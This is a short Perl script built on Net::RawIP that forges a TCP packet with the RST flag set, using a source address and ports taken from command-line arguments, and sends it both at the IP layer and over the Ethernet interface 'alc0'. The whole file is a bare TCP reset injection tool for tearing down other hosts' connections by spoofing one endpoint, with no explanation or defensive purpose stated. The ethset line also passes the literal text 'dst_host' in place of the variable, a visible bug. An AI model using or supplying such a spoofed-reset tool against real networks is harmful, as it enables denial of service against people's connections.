use Net::RawIP;

$src_host = $ARGV[0]; # The source IP/Hostname
$src_port = $ARGV[1]; # The Source Port
$dst_host = $ARGV[2]; # The Destination IP/Hostname
$dst_port = $ARGV[3]; # The Destination Port.


  $n = Net::RawIP->new({
                        ip  => {
                                saddr => "$src_host" ,
                                daddr => "$dst_host",
                               },
                        tcp => {
                                source => "$src_port",
                                dest   => "$dst_port",
                                rst    => 1,
                               },
                       });
  $n->send;
  $n->ethnew("alc0");
  $n->ethset(source => "$src_host", dest => "dst_host" );    
  $n->ethsend;